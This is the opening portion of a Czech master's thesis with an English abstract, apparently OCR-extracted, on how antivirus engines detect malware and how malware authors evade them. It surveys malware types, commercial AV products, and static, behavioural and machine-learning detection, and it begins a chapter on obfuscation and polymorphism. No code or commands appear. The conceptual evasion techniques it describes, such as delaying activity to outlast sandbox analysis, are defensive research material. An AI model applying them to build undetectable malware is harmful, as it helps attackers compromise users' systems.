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ABSTRAKT

Tato diplomova priace se zameéfuje na analyzu detekénich mechanismi modernich
antivirovych programii a na metody, které utocCnici a vyvojafi Skodlivého software tzv.

malware vyuzivaji k jejich obchazeni.

Teoreticka Cast prace nabizi zdkladni ptehled soucasnych typl malwaru, stru¢nou
charakteristiku pouzitych antivirovych technologii a jejich ptistupt k detekci Skodlivého
softwaru — vCetné statické a dynamické analyzy. Zaroven jsou zde popsany techniky, jimiz
se autofi malwaru snazi detekci antivirem ztizit nebo ji zcela obejit, napiiklad obfuskace,

anti-debugging, anti-sandboxing nebo process injection.

V praktické ¢asti této diplomové prace je pak navrzen a realizovéan testovaci experiment,
ktery hodnoti detekéni schopnosti sedmi nejrozsifenéjSich antivirovych programi. Analyza
je provedena na vzorku uméle vytvoreného malware, jenz vyuzivd bézné znamé techniky

obchazeni detekce

Vysledky experimentu jsou nasledné analyzovany se zamétenim na Uspésnost jednotlivych
detek¢nich mechanismi v kontextu pouZitych metod obchazeni detekce a na identifikaci
jejich silnych a slabych stranek. Na zakladé téchto poznatkli jsou formulovana doporuc¢eni

pro zvySeni efektivity ochrany pied malwarem.

Prace ptispiva k hlubSimu porozuméni ucinnosti detekénich mechanismi jednotlivych
antivirovych programil a nabizi navrhy na zlepSeni jejich schopnosti detekce v kontextu

soucasnych kybernetickych hrozeb.

Klicova slova: Antivirova feSeni, detekéni mechanismy, malware, obfuskace, anti-
debugging, anti-sandboxing, fileless malware, behaviordlni analyza, signaturni analyza,
heuristicka analyzy, kyberneticka bezpecnost, ransomware, testovani antivirt, detekéni

efektivita.



ABSTRACT

This thesis focuses on the analysis of detection mechanisms of modern antivirus programs

and the methods that attackers and malware developers use to evade them.

The theoretical part of the thesis offers a basic overview of current types of malwares, a brief
description of the antivirus technologies used and their approaches to detect malware -
including static and dynamic analysis. At the same time, it describes techniques by which
malware authors try to make detection by antivirus more difficult or completely bypass it,

such as obfuscation, anti-debugging, anti-sandboxing or process injection.

In the practical part of this thesis, a test experiment is designed and implemented to evaluate
the detection capabilities of the seven most widely used antivirus programs. The analysis is
performed on a sample of artificially created malware that uses commonly known detection

evasion techniques

The results of the experiment are subsequently analyzed with a focus on the success of
individual detection mechanisms in the context of the used detection evasion methods and
on identifying their strengths and weaknesses. Based on these findings, recommendations

are formulated for increasing the effectiveness of malware protection.

The work contributes to a deeper understanding of the effectiveness of detection mechanisms
of individual antivirus programs and offers suggestions for improving their detection

capabilities in the context of current cyber threats.

Keywords: Antivirus solutions, detection mechanisms, malware, obfuscation, anti-
debugging, anti-sandboxing, fileless malware, behavioral analysis, signature analysis,

heuristic analysis, cybersecurity, ransomware, antivirus testing, detection efficiency.
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UvVOD

The magic you are looking for is in the work you are avoiding.

Dipen Parmar

Se zvysujicim se dirazem a tlakem na zkvalitnéni kybernetické bezpecnosti ze strany
velkych softwarovych korporaci a statnich organizaci roste i kreativita pocitaCovych
uto¢nikd, ktefi neustale hledaji nové zpiisoby, jak ji nejen prolomit ale také jak ziskat cenna
data, kterd mohou zpenézit. Softwarové spolecnosti proto musi nepietrzit€¢ monitorovat
zranitelnosti svych aplikaci a byt pfipraveny je okamzité opravit, aby ochranily sva data a
reputaci ale také data svych klient. V tomto ohledu jsou do neustadlého zabezpeCovani

systému investovany nemalé lidské a finan¢ni prostredky.

Utoénici vyuzivaji stale sofistikovangj$i metody, od zneuZzivani zranitelnosti (mezi
nejznaméjS$imi jsou: 0-day exploity, SQL injection, XSS nebo buffer overflow) aZ po
manipulaci lidského faktoru pomoci phishingu & socialniho inZenyrstvi. Casto stadi
infikovany USB disk pohozeny na parkovisti pfed firmou, kterd je v hledacku utoc¢nika
anebo podplaceny zamé&stnanec ¢i nepozornost obéti pii prochazeni internetového obsahu.
Softwarové firmy proto musi nepfetrzit¢ sledovat bezpecnostni rizika, rychle je

vyhodnocovat a rychle reagovat na nové hrozby.

V tomto kontextu jsou antivirové programy nedilnou soucasti kazdého pocitace, které

aktivné odstrafiuji tyto hrozby nebo alespoil minimalizuji jejich dopad na pfijatelnou uroven.

Tato diplomova prace se zaméfuje na analyzu detekénich enginli antivirovych
programi. Popisuje tedy metody, které¢ vyuZzivaji k identifikaci Skodlivého kodu, véetné
statické analyzy, dynamické analyzy a behavioralni analyzy. Dale se vénuje signature-based
detekci, kterd umoznuje odhalit zndmé hrozby, a porovnéava jeji i¢innost s modernéj$imi
pfistupy.

Analyza bude provedena na testovacich vzorcich malware napsanych v jazycich
C/C++, které implementuji znamé techniky obchazeni detekce a obfuskace bézné pouzivané
Skodlivym softwarem. K testovani detek¢nich engint bude vybrano sedm nejrozsitenéjSich
antivirovych programii s vyznamnym trznim podilem, na nichz budou tyto vzorové

programy otestovany a jejich vysledky nasledné interpretovany a ohodnoceny.

Cilem prace je analyzovat schopnost antivirovych enginti identifikovat bézné hrozby a

posoudit jejich limity pfi detekci méné znamého ¢i obfuskovaného malwaru.
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I TEORETICKA CAST
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1 ANTIVIROVA RESENI A JEJICH DETEKCNI MECHANISMY

V této kapitole jsou v kratkosti definovany zakladni druhy malware a také jsou
predstaveny antivirova feSeni, ktera budou v této praci pouzita, spolu s jejich detek¢nimi

mechanismy a pfistupy.

Informace tykajici se vlastnosti jednotlivych antivirovych feSeni vychézeji z vetejné
dostupnych zdroji a vzhledem k tomu, ze se jedna o duSevni vlastnictvi vyrobci tohoto
software, nemusi byt zcela pfesné, jelikoz detekéni mechanismy nejsou vefejné
zdokumentovany, coz zamérn¢ znesnadiiuje praci tvircim malware, protoze jim to brani v
presném pochopeni toho, jak se dané AV feseni zachova a jaké detekeni kroky pouzije. Proto
na tyto mechanismy nahliZime jako na ¢aste¢né transparentni systém tzv. Greybox — tzn. Ze
zname jejich obecny ¢i teoreticky princip, ale jejich konkrétni implementace ndm zistava

skryta.

1.1 Prehled zakladnich typi malware

1.1.1 Viry a Cervi

Pocitatové viry napadaji pfedevsim spustitelné soubory a dokumenty. Pocitatovy virus
funguje zhruba takto: po spusténi infikovaného souboru je zavolan Skodlivy kod, ktery se
spusti jesté¢ pred spuSténim pivodni aplikace. Virus mlze infikovat vSechny soubory, u

kterych ma aktudlni uzivatel opravnéni k zépisu. [1]

Pocitacovy Cerv je program obsahujici Skodlivy kéd, ktery napada hostitelské pocitace
a §8ifi se dal prostfednictvim sité. Zakladni rozdil mezi virem a Cervem je ten, Ze Cerv se
dokaze §ifit sam a neni zavisly na hostitelském souboru (¢i bootovacim sektoru disku). Cerv
vyuziva k $ifeni hlavné elektronickou poStou nebo bezpecnostni zranitelnosti v sitovych

aplikacich. [2]

1.1.2 Ransomware
Ransomware je Skodlivy kod, ktery zamyka ptistup k infikovanému zafizeni nebo
Sifruje jeho obsah. Po uzivateli pozaduje vypalné s ptislibem (samoziejmée negarantovanym),

ze po zaplaceni dojde k zpfistupnéni zatizeni a/ nebo odSifrovani dat.
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Jde o specificky druh skodlivého kédu, ktery se pouziva pro vydirani uzivateli. Po
uspésném infikovani zatizeni blokuje pfistup k zafizeni nebo Sifruje definovand data na
disku. Na obrazovce se zobrazi vyzva k zaplaceni ,,vypalného®, v nékterych ptipadech i s

informaci, kolik ¢asu uzivateli na zaplaceni zbyva. Po uplynuti doby se pozadovana castka
navysi.[3]
Jako ptiklad ransomware 1ze uvést: [4]

WannaCry: Ransomware utok, ktery se globalné rozsitil v kvétnu 2017, vyuzivajici
zranitelnost v systému Microsoft Windows. Sifroval soubory na infikovanych pogitacich a

pozadoval vykupné v Bitcoinech.

NotPetya: Ransomware utok v cervnu 2017, ktery se zpocatku tvafil jako klasicky
ransomware, ale pozd¢ji bylo zjisténo, Ze jde o tzv. wiper malware urceny ke zptsobeni

Skod, nikoliv k vydirani penéz.

1.1.3 Spyware

Spyware oznacuje vSechny aplikace, které odesilaji soukromé informace bez souhlasu
nebo védomi uzivatele. Spyware pouziva sledovaci funkce k odesilani riznych statistickych
udajl, jako jsou navstivené webové stranky, e-mailové adresy z kontakti uZivatele nebo

zaznamenané stisky klaves. [5]

1.1.4 Keyloggery

Keyloggery tvoii podkategorii spyware a mohou byt hardwarové nebo softwarové.
Softwarové keyloggery mohou shromazd’ovat pouze informace zadané na konkrétni webové
strance nebo v konkrétni aplikaci. Sofistikované€jsi keyloggery mohou zaznamenavat vse, co
napisete, véetné informaci, které¢ kopirujete a vkladate. Nékteré¢ keyloggery zaméiené na
mobilni zafizeni mohou zaznamenévat hovory, informace z aplikaci pro zasilani zprav,

polohu nebo dokonce zaznamy z mikrofonu a kamery. [5]
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1.1.5 Backdoor

Backdoor je aplikace umoziujici vzdaleny ptistup k pocitaci. Rozdil mezi timto typem
malwaru a legitimni aplikaci s podobnou funkci spociva v tom, ze instalace probiha bez

védomi uZivatele.

Mezi typické funkce backdooru patii moznost odesilat soubory do hostitelského
pocitae a spoustét na ném soubory a piikazy, nasledné exfiltraci (odesilani) soubort a
dokumenti zpét utoénikovi. Casto je to spojeno se zdznamem stisknutych klaves a

nahravanim obrazovky za Gc¢elem sledovani nebo kradeze dat. [6]

1.1.6 Dropper

Dropper je typ Skodlivého kodu, ktery funguje jako nosi¢ a obsahuje v sob¢ dalsi
Skodlivy spustitelny soubor. Po spusténi "upusti* (z angl. drop) nebo nainstaluje obsazeny

soubor a spusti jej.

Z historického hlediska se termin ,,dropper® pouzival pro oznaeni souboru, jehoz
jedinym ucelem bylo zavést pocitacovy virus do digitdlniho svéta. Kyberbezpecnostni
vyzkumnici jej nc¢kdy nazyvali virem ,nulté generace”, podobné¢ jako Iékaii a
epidemiologoveé pouzivali termin ,,pacient nula®, pokud hovofili o infekénich chorobach. V
piipadé¢ polymorfniho pocitacového viru nemusel byt jeho dropper zaSifrovany, ale mohl se

skladat pouze z desSifrovaného kodu pocitacoveého viru. [6]

1.1.7 Packer, Crypter, Protector

Packer je jakymsi vn&j$im obalem nékterych trojskych koni. U¢elem packeru je ztizit
detekci a analyzu payloadu, ktery ukryva. Aby byl kod, ktery je v ,balicku® ukryt,
analyzovan, musi dojit nejprve k jeho ,,rozbaleni®. Pro ztiZeni celého identifikacniho procesu

pouzivaji packery riizné techniky proti odladéni, proti emulaci (anti-VM) a obfuskaci kodu.

Packery jsou pouZivany i pro legitimni software. Jejich ti¢elem je pfedev§im komprese

spustitelného souboru a ochrana aplikace pted softwarovym piratstvim. [6]
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1.2 Prehled souc¢asnych AV reSeni

Dle serveru VirusTotal je v soucasnosti dostupnych vice nez 70 antivirovych feseni a

bezpecnostnich enginti. [7]

1.2.1 WinDefender

Windows Defender, nyni spis§ zndmy jako Microsoft Defender Antivirus, je integrované
bezpecnostni feSeni od spolenosti Microsoft, které poskytuje ochranu proti malwaru,
ransomwaru a dal$im kybernetickym hrozbam. Je vychozi soucésti opera¢niho systému
Windows 10 a Windows 11 a nabizi real-time skenovani, heuristickou analyzu, cloudovou

ochranu a firewall.

Windows Defender také vyuziva signaturni detekci 1 behavioralni analyzu k identifikaci
podezielych aktivit a disponuje pokrocilymi funkcemi, jako je kontrola sitového provozu,
ochrana proti phishingu a detekce exploitd. Diky hluboké integraci s Windows opera¢nim
systétmem poskytuje nenarocnou, ale efektivni zakladni ochranu pro bé&zné uzivatele 1

podnikové prostiedi. [8]

Piestoze je Windows Defender konkurenceschopny vii¢i komerénim antivirovym
feSenim, nékteré pokrocilé hrozby, jako jsou fileless malware nebo obfuskované tutoky,
mohou jeho detekéni mechanismy obchazet. Proto je jeho efektivita Casto predmétem

srovnavacich studii a testovani v rdmci kybernetické bezpecnosti. [9]

1.2.2 BitDefender

Bitdefender je ptedni spole¢nost v oblasti kybernetické bezpecnosti, ktera poskytuje
Spickova feSeni pro prevenci, detekci a reakci na hrozby po celém svété. Jeji produkty

zahrnuji antivirovou ochranu, spravu hesel, ochranu proti kradezi identity a VPN sluzby.

Bitdefender Total Security je komplexni bezpecnostni balik, ktery nabizi vicevrstvou
ochranu proti vSem typum malwaru, véetné viri,, Cervl, trojskych koni, ransomwaru a

spyware.

Mezi klicové funkce patii:
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Ochrana v redlném case: Neustalé monitorovani a detekce Skodlivych aktivit

pomoci pokrocilych heuristickych metod.

Ochrana sité: Zastavuje utoky jesté pred jejich zacatkem analyzou a identifikaci

podezielych aktivit na Grovni site.

Ochrana proti ransomwaru: Vicevrstvy piistup chranici dilezité soubory pred

Sifrovanim Skodlivym softwarem.

VPN: Zajistuje soukromi na internetu Sifrovanim veskerého internetového

provozu. [10]

Bitdefender je znamy svou vysokou tc¢innosti v detekci a odstraniovani malwaru, coz

potvrzuji 1 nezavislé testy. Jeho feSeni jsou navrZzena tak, aby poskytovala robustni ochranu

bez vyrazného dopadu na vykon systému, coz zajist'uje plynulé uzivatelské zkuSenosti.

1.23 AVG

AVG AntiVirus je dlouhodobé provéfenym hra¢em na poli kybernetické bezpecnosti,

s historii sahajici aZ do roku 1991. V roce 2016 doslo k akvizici spolecnosti Avast Software,

coz vedlo k integraci virové databaze a n€kterych technologii mezi obéma produkty. [11]

Klicové funkce AVG AntiVirus jsou dle firmy AVG nésledujici:

Komplexni ochrana zafizeni: Zajistuje bezpe€nost programi, serverd,
pracovnich stanic a mobilnich zafizeni pifed béznymi kybernetickymi utoky,

jako jsou phishing ¢i ransomware.

Sifrovani dat: Chrani koncova zafizeni, e-maily a disky pomoci §ifrovani, ¢imz
blokuje kopirovani a pienos soubort ¢i citlivych dat a zajiStuje soulad s
predpisy.

Nepfetrzitd ochrana: Pravidelné testuje Wi-Fi sité a poskytuje neustaly piehled
o vSech potencidlnich zranitelnostech. Vyuziti cloudovych platforem zajistuje

Skalovatelnost, sniZzeni reZijnich ndkladl a aktualizace v redlném case.

Ochrana pted tinikem informaci: Zabezpecuje firemni data na vSech koncovych

zafizenich a eliminuje hrozbu napadeni ¢i tniku dat.
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e Integrovany firewall: Blokuje veskeré utoky na sit’ tim, ze neustale vyhledava
Skodlivé aktivity ve vaSich nastrojich a zafizenich, vcetné béznych

malwarovych utok, jako jsou phishingové e-maily ¢i ransomware. [12]

1.2.4 Avast

Avast Antivirus je anti-malware program, ktery od roku 1988 vyviji Avast Software
s.r.o. sidlici v Praze. Je dostupny ve 45 jazycich. Od roku 2022 je znacka soucasti portfolia

spole¢nosti Gen Digital. [13]

Avast poskytuje zasadni ochranu pied malwarem a kyber hrozbami vSech druhi v¢etné
ransomwaru, spywaru, adwaru, trojand, vird, ¢ervi, rootkitii a dalSich. M4 také decentni

bezplatny tarif a je velice pfivétivy k novym uZivatelim. [14]
Dle autort antiviru [15] jsou jeho klicové funkce nésledujici:
e Webovy Stit Avastu
e Statické testovani
e Emulatory
e Avast DeepScreen
e Avast CyberCapture

e Behavioralni stit

1.2.5 Eset

ESET spol. s r.0. je slovenska softwarova firma, ktera se specializuje na kybernetickou
bezpecnost. ESET vyviji a poskytuje bezpecnostni software ve vice nez 200 zemich svéta.

[16]

Dle serveru antivirovecentrum.cz [17] ESET Endpoint Antivirus obsahuje:

e Antivirus a Antispyware - Odstranuje vSechny typy hrozeb, vcetné virt,

rootkitd, Cervli a spyware.
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e Anti-Phishing - Chrani uzivatele ptfed pokusy ziskat jejich citlivé informace,

jako jsou hesla nebo bankovni data.

e Podpora virtualizace - Metadata souborii se v ramci daného virtualniho

prostredi se skenuji pouze jednou.

e Exploit Blocker - Chrani casto zneuzivané aplikace jako jsou prohlizece,

¢tecky PDF nebo postovni klienti.

e Pokrocila kontrola paméti - Monitoruje chovani Skodlivych procesti a

kontroluje je ihned po rozbaleni v paméti.

e Host-Based Intrusion Prevention - Umoziuje definovat pravidla pro

systémové registry, procesy, aplikace a soubory.

e Kontrola zarizeni - Umoziluje blokovat nebo povolit konkrétni vyménna

média jako jsou CD, DVD, USB apod

1.2.6 McAfee

Antivirovy program McAfee je produkt vyvijeny americkou firmou McAfee, kterd je
od roku 2011 ve vlastnictvi spolecnosti Intel. Dle webu nastrojeproweb.cz [18] je antivirus
McAfee pravidelné hodnoceny nezavislymi bezpecnostnimi agenturami a dosahuje
vybornych hodnoceni v testech bezpecnostnich produktli, zejména v oblasti ochrany proti

malwaru, phishingu a ransomwaru.
Mezi zékladni funkce antiviru McAfee jsou[18]:

e Ochrana online: McAfee vas ochrani pfed hrozbami na internetu, jako jsou
Skodlivé webové stranky a phishingové ttoky, diky ¢emuz budou vase osobni

udaje a finan¢ni informace v bezpeci.
e Firewall: Nechybi vestavény firewall, ktery ochrdni vaSi sit' pfed
neopravnénym piistupem a utoky z internetu.

¢ Rodicovska kontrola: Rodice jist¢ oceni fakt, Ze McAfee Total Protection
umoziuje nastavit omezeni pro pristup déti na internet, a ochranit je tak je pted

nevhodnym obsahem a nastrahami online svéta.
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e Sifrovani a skartace citlivych souboru: Nastroje pro bezpecné Sifrovani
citlivych souboriti a jejich skartaci chrani vase data pied neopravnénym

pristupem a zneuzitim.
e WebAdvisor: Varovani pfed nebezpecnymi webovymi strankami.
e Optimalizace pocitace: Nastroje, které pomohou zrychlit fungovani pocitace.
e Spravce hesel: Automatické generovani, ukladani a vyplinovani hesel.
e Skener: Skenuje a instaluje dulezité aktualizace.

e Detektor SMS podvodi.

1.2.7 F-Secure

Finska spole¢nost F-SECURE Corporation se jiz ptred lety zatadila mezi pfedni a
uznavané tviirce bezpe¢nostniho software. Rada produkti F-SECURE pro domaci uzivatele
a malé kancelafe zahrnuje oblasti boje nejen proti virim, ale v posledni dobé tolik
diskutované nevyzadané posté (Spam) a Skodlivého software (Spyware — vykradace hesel,

osobni identity a dal$i Skodlivé kody). [19]

Antivirové feSeni F-Secure obsahuje kombinaci softwarovych aplikaci a sluzeb, ktera
koncovému uzivateli poskytne komplexni ochranu proti riznym druhtim malware ale také

ochrany uZivatelova soukromi na internetu.
Antivirovy program F-Secure se sklada ze téchto ¢asti: [20]
e F-Secure Internet Security
e F-Secure VPN

e F-Secure ID protection

1.2.8 VirusTotal

VirusTotal je bezplatnd online sluzba, kterd umoznuje analyzovat podezielé¢ soubory a
webové adresy za ucelem detekce malwaru, jako jsou viry, Cervi Ci trojské koné. Sluzba

vyuziva vice nez 70 antivirovych skenerii a néstrojii pro blokovani URL/domén, ¢imz
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poskytuje uzivatelim moznost ziskat rychlou a komplexni analyzu potencidlnich hrozeb.
[21]

Funkce a vlastnosti:

e Metody odesilani: Uzivatelé mohou odesilat soubory k analyze prostfednictvim
vetfejného webového rozhrani, desktopovych aplikaci, rozsifeni prohlizec¢e nebo

programového API.

e Sdileni vysledkt: Po odeslani souboru nebo URL jsou vysledky analyzy sdileny
s uzivatelem a partnery VirusTotal, coz pfispivd ke zlepSeni jejich

bezpecnostnich systémd.

e Komunita: VirusTotal umoziiuje uzivatelim komentovat a sdilet poznamky k
analyzovanym souborim a adresdm URL, ¢imz podporuje komunitni

spolupraci pti identifikaci Skodlivého obsahu a falesnych poplach.

Jelikoz sluzba VirusTotal pouzivda mnoho antivirovych feSeni budou jeji vysledky v

kontextu této diplomové prace interpretovany nasledovneé:

Pocet pozitivnich detekci

VirusTotalScore (VTS) = —— — (1)
Celkovy pocet AV reseni
(1) 64/72 security vendors flagged this file as malicious C Reanalyze = Similar~  More v
156add15be0al12fcfobdaédba6h27c25f39¢6531... Size Last Analysis Date %L
9115b931085bd62e46fc07a381665bebfbads292. . 2.18MB 10 hours ago EXE

Community

Score peexe exploit cve-2017-0147 overlay

Obrazek 1 Piiklad vysledku analyzy nastrojem VirusTotal

(zdroj: vlastni | virustotal.com)

Z obrazku 1 je patrné, ze podeziely soubor byl sluzbou VirusTotal oznacen jako Skodlivy 64
ze 72 antivirovych feSeni. Po dosazeni do vzorce 1 ziskdme hodnotu VTS, které odpovida

hodnoté VTS 0,89.
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1.3 Detekéni mechanismy antivirovych programi

Antivirové programy vyuzivaji rizné metody detekce malwaru, které moderni feSeni
casto kombinuji, aby zajistily co nejucinnéj$i ochranu proti Siroké Skale kybernetickych
hrozeb. V ramci kazdého antiviru funguji jinak, a to z diivodu, ze kazdy tviirce antivirového
software pristupuje k problematice detekce malwaru jinak, avSak obecny pfistup k analyze

zUstava stejny.

1.3.1 Staticka analyza

Statickd analyza je metoda, pii které antivirovy program zkoumd potencialné
nebezpecny software bez jeho spusténi. Samotna staticky analyza se d€li na nékolik dalSich

podoblasti jako: signaturni analyza, heuristicka analyza, analyza metadat, analyza fetézc.

Signaturni analvza:

Signaturni analyza je metoda, pii které antivirovy program porovnava soubory
pfitomné v souborovém systému s databazi signatur. Tato databaze obsahuje otisky
(signatury poftizené hashovaci funkci) zndmych hrozeb, coz umoziuje rychlou a piesnou

detekei jiz identifikovaného malwaru.

Nicméng, jelikoz i drobné zmény ve zdrojovém koédu malwaru mohou zpisobit, ze se
vyhne detekci statickou signaturou, tato metoda neni schopna zachytit vSechny existujici
varianty a mutace Skodlivého kodu a je méné Uc¢inna proti novym nebo polymorfnim

hrozbam.

Antivirovy software pracuje s riznymi formaty soubort a diky t€émto forméatim je

schopen detekovat hrozby na zéklad¢ statickych signatur.
e Spustitelné soubory jako: .exe, .dll, .msi, .com, .pif, .cpl, .elf, .ocx, .sys, .scr.
e Dokumenty jako: .doc, .xIs, .ppt, .pdf, .rtf, .chm, .hlp.

Detekéni enginy vyuZivajici signaturni detekci hledaji fetézce znakd, pfipony soubort,
hash hodnoty a specifickd klicova slova spojend s viry, ktera se b&ézné vyskytuji v

malwarovych soucéstech spustitelnych souborti ¢i v dokumentech. Soubor bude oznacen
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jako skodlivy, pokud obsahuje piesné stejny fetézec, jaky se nachazi v antivirové databazi;

jinak nebude. [22]

I y

Analyzovany soubor

e A

Databdze
signatur

ANO—»[ Motifikacni akce ]

Podezield
signatura?

NE

¥

[ Zadna akce ]

Obrazek 2 Teoreticky princip signaturni analyzy

(zdroj: vlastni | signature_based.drawio)

Heuristicka analvza:

Namisto porovnavani otiskli (hashli) souborti nebo hledani specifickych vzort v
softwaru se detekce zaloZend na heuristice zaméfuje na chovani souboru. Vyuziva k tomu
nckolik dil¢ich technik. Nejprve analyzuje soubor na pfitomnost znamek Skodlivého kodu.
Nejde pfitom jen o jednoduché porovnavani fetézci nebo bajtovych sekvenci — hledaji se

napiiklad podezielé bloky instrukci v assembleru nebo netypické pouziti API funkci.

Tento proces Casto vyuziva systém vazeni nebo skorovani. KdyZ antivirovy software
narazi na podezielou sekvenci kodu, zvysi se skore daného souboru. Jakmile toto skore

ptrekroci predem stanoveny prah, oznaci antivirovy modul soubor jako Skodlivy. [23]
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Analyza metadata:

V ramci statické analyzy jsou skenované soubory podrobeny také analyze metadat.

Metadata jsou vlastnosti souboru obsahujici rizné informace viz nasledujici obrazek.

| % ntdll.dll Properties X

General Digital Signatures  Security Details  Previous Versions

Property Value
Description
File description  NT Layer DLL
Type Application extension

; File wersion 10.0.22621.5124
Product name  Microsoft® Windows® Operating System
Product version 10.0.22621.5124

q 2 Microsoft Corporation. All ights reserv...
Size 1.67 MB

f Date modfied  13/04/2025 16:11
Language English (Uinited States)

Original flename  nitdll.dll

Obrazek 3 Metadata souboru ntdll.dll
(zdroj: viastni)

Typicky predstavitelem metadata, které jsou kontrolovana antivirovym programem je

podepisovaci certifikat.

| % ntdll.dll Properties b4
General Digital Signatures  Securty Detaile  Previous Versions

Signature list

MName of signer: Digest algorithm Timestamp
iMicrosoft Windows sha2bé 19 March 2025 04:39._ |

)
o
[51]
o

Obrazek 4 Digitaln¢ podepsana knihovna ntdll.dll

(zdroj: vlastni)



UTB ve Zliné, Fakulta aplikované informatiky 27

Dle spolecnosti Deeplnstinct [24] bylo prokazano, ze je mozné ukryt skodlivy obsah v

podepsanych souborech, aniz by poskodili samotny certifikat souboru.

Analvza retézcu:

V ramci statické analyzy pouzivaji antiviry analyzu fetézcii obsazenych v souboru.
Tyto textové fetézce jsou ze souboru extrahovany a pomoci regularnich vyrazi a nasledné

evaluovany.
Dle Pautova [25] se antivirus zamétuje na nasledujici textové fetézce:
e [P adresy a URL
e Klice Windows registrli
e Cesty k souborlim a jména soubort
e Piikazy CMD nebo PowerShellu
e Ukazatele na Windows API funkce

e DLL knihovny

1.3.2 Dynamicka analyza

Dynamick4 analyza na rozdil od statické analyzy zkoumany soubor spousti
v izolovaném prostiedi a zkouma jeho chovani, které je nasledné evaluovano. Tomuto

izolovanému prosttedi se fika sandbox.

Sandbox slouzi jako systém, ktery emuluje chovani hostitelského pocitace. Funguje
jako virtualni stroj, ve kterém se spoustéji potencialné skodlivé soubory za ticelem sledovani
jejich ¢innosti. Sandbox poskytuje bezpecné prostiedi, které izoluje spusténé programy od

zafizeni uzivatele, ¢imz se riziko infikovani zafizeni snizuje na zanedbatelnou uroven. [26]

1.3.3 Behavioralni analyza

Behavioralni analyza je poddruh dynamické analyzy, ktery zvySuje turoven
sofistikovanosti antivirového softwaru. Tento typ analyzy dokaze identifikovat malware

tehdy, kdyz je aktivné pouzivan systémem. Behavioralni analyza je tak o néco pokrocilejsi
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metoda nez Signaturni analyza, jelikoz kontroluje soubory v realném case pomoci nékolika
riznym piistuptim.
Prvni metodou je monitorovani API (systémovych a taky téch, které mohou obsahovat

funkce vyuzitelné malwarem), které zachycuji potencialn¢ Skodlivé pozadavky na

systémové API operac¢niho systému. API jsou sledovana pomoci tzv. systémovych hookii.

Systémovy hook je znamé technika, pomoci které mize program zachytit
(odposlechnout nebo piesmérovat) volani uréitych funkci nebo udélosti v opera¢nim

systému — typicky API volani nebo zpravy (napt. klavesy, pohyby mysi, spusténi procesi).

Hookovani se pouziva jak v legitimnich aplikacich (napf. antiviry, nastroje pro cteni

obrazovky), tak i v malwaru.
Antivirové programy nejcastéji pouzivaji tyto typy hookovani:

e API hooking - zachyceni volani funkci, napt. CreateFile(),
ReadProcessMemory(), atd.

e DLL Injection + hook — zavedeni vlastni knihovny do procesu a pfesmérovani

volani, napt. kernel32dll, ntdll.dll ¢ user32.dll a dalSich.

U obou piipadi je antivir schopen zachytit API volani jesté pted jeho vykonanim a

provést patfi¢né akce.

Dalsi metodou je tzv. Sandboxing, to je v podstaté virtualni prostiedi oddélené od
paméti skutecného hostitelského zatizeni. To umoziuje identifikaci a analyzu Skodlivého
softwaru tim, ze je spuStén ve virtudlnim prostfedi, misto aby bézel pfimo v paméti

skute¢ného systému.

Jednim z hlavnich nedostatkli sandboxového feSeni je, Ze malware je spoustén pouze
po omezenou dobu. Bezpecnostni analytici 1 Gto¢nici tak mohou zjistit, jak dlouho malware
v sandboxu bézi, pozastavit Skodlivou aktivitu po tuto dobu a teprve poté spustit jeho

skute¢né skodlivou funkcionalitu. [22]
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(zdroj: vlastni | behavioral based.drawio)

1.3.4 Mechanismy zaloZené na strojovém uceni

Spolehlivy, vykonny a dobte Skalovatelny engine pro detekci malwaru tvoti esencialni
prvek kazdého antivirového feSeni. Tyto enginy vyhodnocuji, zda dany objekt ptredstavuje

hrozbu, na zaklad¢ dostupnych informaci ziskanych jeho analyzou.

Strojové uceni je podle klasické definice Arthura Samuela [27], prikopnika v oblasti
umélé inteligence, soubor metod, které umoziuji pocitaciim se ucit bez nutnosti explicitniho

programovani.

Jinymi slovy se algoritmus strojového uceni snazi rozpoznat a popsat vzorce chovani,
které jsou obsazené v datech, se kterymi pracuje. Diky t€émto znalostem je pak schopen
odhadovat vlastnosti novych, dosud neznamych vzorkd malware coz v kontextu detekce
malwaru muze byt takovym novym vzorkem naptiklad dosud neidentifikovany soubor,
jehoz skrytd povaha muize byt bud’ skodliva, nebo neSkodnd. Strukturovany matematicky

popis téchto vzorcu a vztahll se nazyva model. [28]
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2 METODY STEZUJICi DETEKCI MALWARE AV ENGINEM

Moderni antivirovy software hraje klicovou roli v ochrané uzivateli pred Sirokou
Skalou kybernetickych hrozeb. Diky pokrocilym metodam, jako je heuristickd analyza nebo
behavioralni detekce, dokaze odhalit i neznamy nebo upraveny skodlivy kod ¢i odhalit jeho
mutace. Presto vSak zadny software neni zcela bezchybny. V této kapitole se proto zamétime
na n¢kolik znamych technik, pomoci kterych mohou utocnici zneuzit ¢i ztizit antivirovému

software detekci potencialni hrozby.

2.1 Obfuskace a mutace kodu

Obfuskace je dobfe znama technika, kterou uto¢nici pouzivaji k apravé kdédu a zmeéné

vvvvv

zahrnuje pridavani zbyte¢ného kodu, zménu velikosti pismen ve skriptu a preskupovani
ptikazli za G¢elem zmateni a vyhnuti se detekci. Ackoli obfuskace neovliviiuje funkénost

malwaru, miiZze snizit jeho u¢innost. [30]

Dle teorie prezentované autory Collberg a Thomborson [30] , musi obfuskovany kod

splilovat nasledujici vlastnosti:
e Funkcionalita programu obfuskovaného kédu musi byt zachovana

vvvvvv

e Vykon programu obfuskovaného kédu musi byt srovnatelny s kddem

neobfuskovaného programu
Obfuskovany kod lze klasifikovat do nésledujici péti kategorii: [31]

e Vkladani nulovych operaci a mrtvého kédu — piidani operaci, které nemaji

zadny vliv na ¢innost programu
o Uprava dat — zména reprezentace proménnych napi: pievedeni boolean na dva
int
o Uprava fizeni toku programu — zména poiadi nebo logiky provadéni instrukei
o Uprava dat + fizeni toku programu — kombinace vy3e zminénych

e Aliasovani ukazatelti — vice ukazatelti odkazuje na stejnou pamét'ovou oblast
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Nicmén¢ spoléhat se pouze na obfuskaci k oklaméni antivirového softwaru nemusi byt
dostacujici, protoze moderni antivirové programy vyuzivaji heuristické a behavioralni
ptistupy k detekci potencidlnich hrozeb. Aby uto¢nici obesli detekci antivirem, Casto

kombinuji obfuskaci s dalSimi technikami, jako je polymorfismus nebo metamorfismus. [26]

Polymorfni malware upravuje sviij kod pomoci Sifrovani s proménnym kli¢em. Jadro
logiky zustava stejné, ale Sifrovani zpusobi, ze pti kazdé replikaci vypada jinak. Obvykle
pouziva desifrovaci rutinu, ktera zlstdva konstantni, zatimco samotny Skodlivy kod

(payload) je Sifrovan. [32]

Metamorfni malware pti kazdé infekci zcela ptepisuje sviyj vlastni kod, takze kazda
